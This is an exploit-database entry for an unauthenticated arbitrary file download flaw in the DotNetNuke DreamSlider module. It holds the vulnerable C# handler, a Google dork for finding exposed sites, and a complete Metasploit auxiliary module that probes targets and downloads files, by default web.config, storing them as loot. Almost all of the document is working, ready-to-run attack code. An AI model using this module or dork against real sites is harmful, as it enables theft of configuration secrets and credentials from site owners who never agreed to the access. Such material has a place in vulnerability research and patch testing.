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# Exploit Title: DotNetNuke DreamSlider Arbitrary File Download
# Date: 23/01/2014
# Author: Glafkos Charalambous
# Version: 01.01.02
# Vendor: DreamSlider
# Vendor URL: http://www.dreamslider.com/
# Google Dork: inurl:/DesktopModules/DreamSlider/
# CVE:
#
# Description
# DotNetNuke DreamSlider Module prior to version X suffer from a remote unauthenticated arbitrary file download vulnerability
#
# Vulnerable Code
#
# namespace DotNetNuke.Modules.DreamSlider
# {
# using System;
# using System.IO;
# using System.Web.SessionState;
# using System.Web.UI;
#
# public class DownloadProvider : Page, IRequiresSessionState
# {
# protected void Page_Load(object sender, EventArgs e)
# {
# if (!base.IsPostBack && (base.Request.QueryString["File"] != null))
# {
# string path = base.Request.QueryString["File"];
# string fileName = Path.GetFileName(path);
# base.Response.ContentType = "application/octet-stream";
# base.Response.AddHeader("Content-Disposition", "attachment; filename=" + fileName);
# base.Response.WriteFile(path);
# base.Response.End();
# }
# }
# }
# }
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'DotNetNuke DreamSlider Arbitrary File Download',
'Description' => %q{
This module exploits an unauthenticated arbitrary file download vulnerability in DNN
DreamSlider version 01.01.02 and below.
},
'Author' =>
[
'Glafkos Charalambous', # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'DisclosureDate' => 'Mar 23 2015'))
register_options(
[
Opt::RPORT(80),
OptString.new('FILENAME', [true, 'File to download', '~/web.config']),
OptString.new('PATH', [true, 'Path of DNN Nuke', '/']),
], self.class)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx"),
'cookie' => datastore['Cookie'],
})
if res && res.code == 200 and res.body.to_s =~ /Download Provider/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Safe
end
end
def run
begin
print_status("#{peer} - Downloading file #{datastore['FILENAME']}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx?File=") + datastore['FILENAME'],
'cookie' => datastore['Cookie'],
})
rescue Rex::ConnectionError
print_error("#{peer} - Could not connect.")
return
end
if res && res.code == 200
if res.body.to_s.bytesize == 0
print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")
return
end
fileName = datastore['FILENAME']
path = store_loot(
'ds.http',
'application/octet-stream',
datastore['RHOST'],
res.body,
fileName
)
print_good("#{peer} - File saved in: #{path}")
else
print_error("#{peer} - Failed to download file.")
end
end
end
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